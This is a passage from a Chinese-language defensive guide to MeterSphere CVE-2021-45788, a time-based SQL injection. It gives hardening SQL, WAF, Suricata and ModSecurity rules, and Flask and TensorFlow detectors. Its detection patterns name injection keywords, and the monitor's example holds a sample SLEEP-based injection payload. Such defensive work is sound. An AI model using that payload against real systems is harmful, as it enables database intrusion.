REVOKE ALL PRIVILEGES ON *.* FROM 'metersphere_app'@'%';
REVOKE GRANT OPTION ON metersphere.* FROM 'metersphere_app'@'%';
-- 创建存储过程处理排序(可选)
DELIMITER //
CREATE PROCEDURE get_test_plans_safe(
IN p_page INT,
IN p_limit INT,
IN p_order_column VARCHAR(50),
IN p_order_direction VARCHAR(10)
)
BEGIN
-- 验证列名
SET @valid_column = NULL;
CASE p_order_column
WHEN 'create_time' THEN SET @valid_column = 'create_time';
WHEN 'update_time' THEN SET @valid_column = 'update_time';
WHEN 'name' THEN SET @valid_column = 'name';
WHEN 'status' THEN SET @valid_column = 'status';
WHEN 'creator' THEN SET @valid_column = 'creator';
ELSE SET @valid_column = 'create_time';
END CASE;
-- 验证排序方向
SET @valid_direction = IF(UPPER(p_order_direction) = 'DESC', 'DESC', 'ASC');
-- 构建安全查询
SET @sql = CONCAT(
'SELECT * FROM test_plan ',
'ORDER BY ', @valid_column, ' ', @valid_direction, ' ',
'LIMIT ?, ?'
);
PREPARE stmt FROM @sql;
SET @offset = (p_page - 1) * p_limit;
EXECUTE stmt USING @offset, p_limit;
DEALLOCATE PREPARE stmt;
END //
DELIMITER ;
-- 授予存储过程执行权限
GRANT EXECUTE ON PROCEDURE metersphere.get_test_plans_safe TO 'metersphere_app'@'%';
基于此漏洞的检测与防护规则
针对该漏洞,检测规则应聚焦于 orders 参数中的 SQL 逻辑关键字。
- WAF 特征匹配:
- 关键字:
CASE WHEN,SLEEP,BENCHMARK,WAITFOR DELAY - 符号特征:在 JSON 的
name字段值中发现(和)。
- 关键字:
WAF规则示例
# Nginx配置SQL注入防护
http {
# 定义SQL注入检测map
map $args $block_sqli {
default 0;
"~*orders.*select" 1;
"~*orders.*sleep" 1;
"~*orders.*case.*when" 1;
"~*orders.*benchmark" 1;
"~*orders.*union" 1;
}
server {
listen 8081;
server_name metersphere.local;
location /api/ {
# 检查SQL注入
if ($block_sqli = 1) {
return 403 "Invalid request";
access_log /var/log/nginx/sqli_blocked.log;
}
# 限制请求体大小
client_max_body_size 1m;
# 启用速率限制
limit_req zone=api_limit burst=20 nodelay;
proxy_pass http://backend:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
# 定义限流zone
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
}
IDS/IPS规则
# Suricata规则
alert tcp $EXTERNAL_NET any -> $HOME_NET 8081 ( \
msg:"METERSPHERE SQL Time-Based Blind Injection Attempt"; \
flow:to_server,established; \
content:"GET"; http_method; \
content:"/api/test-plan/list"; http_uri; \
content:"orders="; http_uri; \
pcre:"/orders=[^&]*(case\s+when|sleep\s*\(|benchmark\s*\()/i"; \
classtype:web-application-attack; \
sid:2024008; \
rev:2;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 8081 ( \
msg:"METERSPHERE Information Schema Enumeration"; \
flow:to_server,established; \
content:"GET"; http_method; \
content:"orders="; http_uri; \
pcre:"/orders=[^&]*information_schema/i"; \
classtype:attempted-recon; \
sid:2024009; \
rev:1;)
应用层监控脚本
# MeterSphere安全监控
import re
from datetime import datetime, timedelta
import hashlib
class MeterSphereSecurityMonitor:
def __init__(self):
self.sqli_patterns = [
re.compile(r'(?i)case\s+when.*then.*sleep', re.IGNORECASE),
re.compile(r'(?i)sleep\s*\(\s*\d+\s*\)', re.IGNORECASE),
re.compile(r'(?i)benchmark\s*\(.*,.*\)', re.IGNORECASE),
re.compile(r'(?i)information_schema', re.IGNORECASE),
re.compile(r'(?i)union.*select', re.IGNORECASE),
]
self.request_history = {}
self.alert_threshold = 5 # 每分钟5次可疑请求
def analyze_request(self, request):
"""分析HTTP请求是否包含SQL注入尝试"""
alerts = []
# 检查URL参数
if 'orders' in request.get('query', {}):
orders_value = request['query']['orders']
# 检查SQL注入模式
for pattern in self.sqli_patterns:
if pattern.search(orders_value):
alert = {
'timestamp': datetime.now().isoformat(),
'type': 'sql_injection_attempt',
'pattern': pattern.pattern,
'parameter': 'orders',
'value': orders_value[:200],
'ip': request.get('ip'),
'path': request.get('path')
}
alerts.append(alert)
# 检查速率限制
client_ip = request.get('ip')
if client_ip:
current_time = datetime.now()
minute_key = current_time.strftime('%Y-%m-%d %H:%M')
key = f"{client_ip}:{minute_key}"
self.request_history.setdefault(key, 0)
self.request_history[key] += 1
if self.request_history[key] > self.alert_threshold:
alert = {
'timestamp': current_time.isoformat(),
'type': 'rate_limit_exceeded',
'ip': client_ip,
'count': self.request_history[key],
'path': request.get('path')
}
alerts.append(alert)
return alerts
def monitor_log_file(self, log_file_path):
"""监控日志文件"""
alerts = []
try:
with open(log_file_path, 'r') as f:
for line in f:
# 解析日志行(假设为JSON格式)
import json
try:
log_entry = json.loads(line)
if log_entry.get('path', '').startswith('/api/'):
request_alerts = self.analyze_request(log_entry)
alerts.extend(request_alerts)
except json.JSONDecodeError:
# 非JSON格式,使用正则解析
pass
except FileNotFoundError:
print(f"日志文件不存在: {log_file_path}")
return alerts
# 使用示例
monitor = MeterSphereSecurityMonitor()
# 模拟请求分析
sample_request = {
'ip': '192.168.1.100',
'path': '/api/test-plan/list',
'query': {
'page': '1',
'limit': '10',
'orders': 'create_time DESC, (CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)'
}
}
alerts = monitor.analyze_request(sample_request)
for alert in alerts:
print(f"安全警报: {alert}")
应急响应流程
阻断攻击源IP-->审查应用访问日志-->识别payload特征-->评估数据泄露-->是否有后门和数据篡改-->恢复数据备份-->加强监控与数据补丁
基于 Flask 的实时检测与防护(应用层)
部署一个 Flask 应用作为反向代理/API 网关,对所有进入 Metersphere 的请求进行预处理,拦截恶意请求。 1.1 Flask 中间件:检测 orders 参数中的注入特征
# metersphere_proxy.py
import re
import json
from flask import Flask, request, abort, jsonify
import time
app = Flask(__name__)
# 敏感路径
SENSITIVE_PATHS = ['/test/case/list/']
# 检测 SQL 注入特征的正则(针对 time-based 注入)
SQLI_PATTERNS = [
re.compile(r'if\s*\(', re.I),
re.compile(r'sleep\s*\(', re.I),
re.compile(r'benchmark\s*\(', re.I),
re.compile(r'waitfor\s+delay', re.I),
re.compile(r'select\s+.*\s+from', re.I),
re.compile(r'union\s+select', re.I),
]
def check_orders_for_injection(orders_data):
"""检查 orders 数组中的每个元素的 type 字段"""
if not isinstance(orders_data, list):
return False
for item in orders_data:
if isinstance(item, dict) and 'type' in item:
type_value = item['type']
if isinstance(type_value, str):
# 检测逗号前缀 + 恶意语句
if type_value.startswith(','):
for pattern in SQLI_PATTERNS:
if pattern.search(type_value):
return True
return False
# 简单的会话验证(模拟,实际应验证 Metersphere 的 token 或 cookie)
def is_authenticated():
# Metersphere 使用 MS_SESSION_ID cookie 或 Authorization 头
session_cookie = request.cookies.get('MS_SESSION_ID')
auth_header = request.headers.get('Authorization')
return bool(session_cookie or auth_header)
# 速率限制(内存实现)
request_records = {}
def rate_limit(ip, limit=30, window=60):
now = time.time()
if ip not in request_records:
request_records[ip] = []
request_records[ip] = [t for t in request_records[ip] if now - t < window]
if len(request_records[ip]) >= limit:
return True
request_records[ip].append(now)
return False
@app.before_request
def before_request():
# 1. 检查路径是否敏感
if not any(request.path.startswith(p) for p in SENSITIVE_PATHS):
return
# 2. 尝试解析请求体(JSON)
if request.is_json:
data = request.get_json()
# 检查 orders 字段
if 'orders' in data:
if check_orders_for_injection(data['orders']):
log_attack(request, 'sqli_in_orders')
abort(403, description='Malicious SQL injection detected')
# 3. 对未认证请求进行速率限制(防止扫描)
if not is_authenticated():
if rate_limit(request.remote_addr):
abort(429, description='Too many requests')
else:
# 可以放行,但建议对敏感接口强制认证
pass
@app.errorhandler(403)
def forbidden(e):
return jsonify(error='Forbidden'), 403
@app.errorhandler(429)
def too_many(e):
return jsonify(error='Too many requests'), 429
def log_attack(request, attack_type):
with open('metersphere_attack.log', 'a') as f:
f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")
# 转发请求到后端 Metersphere
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
# 实际应转发到 Metersphere 服务器(如 http://localhost:8081)
return f"Proxied to {path}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
1.2 日志监控脚本 实时分析 Metersphere 访问日志,发现包含 SQL 注入特征的请求。
# monitor_logs.py
import re
import sys
import json
LOG_PATTERN = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
SQLI_PATTERNS = [
re.compile(r'if\s*\(.*sleep', re.I),
re.compile(r'sleep\s*\(', re.I),
re.compile(r'benchmark\s*\(', re.I),
]
def analyze_log(logfile):
with open(logfile, 'r') as f:
for line in f:
match = LOG_PATTERN.search(line)
if not match:
continue
path = match.group('path')
ip = match.group('ip')
# 简单判断是否包含关键参数(需根据实际日志格式增强)
if '/test/case/list/' in path:
# 可以进一步解析 POST 数据(需日志记录请求体)
print(f"[*] 敏感路径访问:IP {ip} 访问 {path}")
基于 TensorFlow 的异常行为检测
利用机器学习模型识别针对 Metersphere 的异常访问模式,特别是对 /test/case/list 接口的异常请求。
2.1 特征工程
从每个请求中提取特征,构建数据集。特征包括:
path_length: 请求路径长度is_sensitive: 是否访问敏感路径(0/1)has_orders: 请求体中是否包含orders字段(0/1)orders_type_count:orders数组中type字段的数量max_type_length: 最长的type字段长度has_comma_prefix: 是否有type以逗号开头(0/1)has_sql_keyword: 是否包含 SQL 关键字(如if,sleep)method: 请求方法(GET=1, POST=2)body_length: 请求体长度hour: 请求小时ip_reputation: IP 信誉分(外部API或黑名单)user_agent_length: User-Agent 长度is_known_ua: 是否常见浏览器 UArequest_freq_10min: 该IP最近10分钟请求数is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
features = [
len(request_entry['path']),
1 if request_entry['is_sensitive'] else 0,
request_entry.get('has_orders', 0),
request_entry.get('orders_type_count', 0),
request_entry.get('max_type_length', 0),
request_entry.get('has_comma_prefix', 0),
request_entry.get('has_sql_keyword', 0),
{'GET':1, 'POST':2}.get(request_entry['method'], 0),
request_entry.get('body_length', 0),
request_entry['timestamp'].hour,
ip_reputation(request_entry['ip']),
len(request_entry['user_agent']),
1 if 'Mozilla' in request_entry['user_agent'] else 0,
history['freq_10min'],
int(request_entry['is_auth'])
]
return features
2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
layers.Dropout(0.3),
layers.Dense(32, activation='relu'),
layers.Dropout(0.3),
layers.Dense(16, activation='relu'),
layers.Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)
# 保存模型
model.save('metersphere_anomaly_model.h5')
2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。
from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime
model = load_model('metersphere_anomaly_model.h5')
THRESHOLD = 0.8
def get_ip_history(ip):
# 从缓存获取历史统计(如Redis)
return {'freq_10min': 0}
def ip_reputation(ip):
return 0
@app.before_request
def before_request():
# ... 之前的基础检测 ...
# 对敏感路径进行机器学习异常检测
if request.path.startswith('/test/case/list/'):
# 构建 request_entry
request_entry = {
'ip': request.remote_addr,
'path': request.path,
'method': request.method,
'is_sensitive': True,
'user_agent': request.headers.get('User-Agent', ''),
'is_auth': is_authenticated(),
'timestamp': datetime.now(),
'body_length': len(request.get_data()),
}
if request.is_json:
data = request.get_json()
if 'orders' in data:
request_entry['has_orders'] = 1
orders = data['orders']
request_entry['orders_type_count'] = sum(1 for item in orders if isinstance(item, dict) and 'type' in item)
max_len = 0
has_comma = 0
has_keyword = 0
for item in orders:
if isinstance(item, dict) and 'type' in item:
t = item['type']
if isinstance(t, str):
max_len = max(max_len, len(t))
if t.startswith(','):
has_comma = 1
for pattern in [r'if\s*\(', r'sleep\s*\(', r'benchmark']:
if re.search(pattern, t, re.I):
has_keyword = 1
break
request_entry['max_type_length'] = max_len
request_entry['has_comma_prefix'] = has_comma
request_entry['has_sql_keyword'] = has_keyword
history = get_ip_history(request.remote_addr)
if predict_anomaly(request_entry, history):
log_attack(request, 'ml_anomaly')
abort(403, description='Suspicious behavior detected')
def predict_anomaly(request_entry, history):
features = extract_features(request_entry, history)
prob = model.predict(np.array([features]))[0][0]
return prob > THRESHOLD
基于 ModSecurity 的 WAF 规则
在 Apache/NGINX 中部署 ModSecurity,拦截对 Metersphere 的 SQL 注入尝试。 3.1 基础规则
# modsecurity_crs_72_metersphere_cve_2021_45788.conf
# 规则1:检测 POST 请求体中的 orders 参数是否包含 SQL 注入特征
SecRule REQUEST_BODY "@rx \"type\"\s*:\s*\"[^\"]*if\s*\([^\"]*sleep\s*\([^\"]*" \
"id:1009001,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'Metersphere CVE-2021-45788 - Time-based SQL injection',\
logdata:'Matched payload: %{MATCHED_VAR}',\
tag:'attack-sqli',\
tag:'cve-2021-45788',\
severity:'CRITICAL'"
# 规则2:检测 type 字段以逗号开头且包含 SQL 函数
SecRule REQUEST_BODY "@rx \"type\"\s*:\s*\",\s*(?i)(if|sleep|benchmark|waitfor)" \
"id:1009002,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'Metersphere CVE-2021-45788 - SQL injection with comma prefix',\
tag:'attack-sqli',\
severity:'CRITICAL'"
# 规则3:对敏感接口进行速率限制
SecRule REQUEST_URI "@beginsWith /test/case/list/" \
"id:1009003,\
phase:1,\
t:none,\
ver:'OWASP_CRS/4.0',\
block,\
msg:'Metersphere case list rate limiting',\
setvar:'tx.metersphere_case_counter_%{REMOTE_ADDR}=+1',\
expirevar:'tx.metersphere_case_counter_%{REMOTE_ADDR}=60'"
SecRule TX:metersphere_case_counter_%{REMOTE_ADDR} "@gt 20" \
"id:1009004,\
phase:1,\
block,\
msg:'Too many requests to case list',\
severity:'WARNING'"
3.2 部署示例(NGINX)
server {
listen 80;
server_name metersphere.example.com;
ModSecurityEnabled on;
ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;
location / {
proxy_pass http://metersphere-backend:8081;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
总结:CVE-2021-45788 是 Metersphere 中的时间盲注漏洞,攻击者可通过 orders 参数注入恶意 SQL。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 Metersphere 的用户立即采取行动。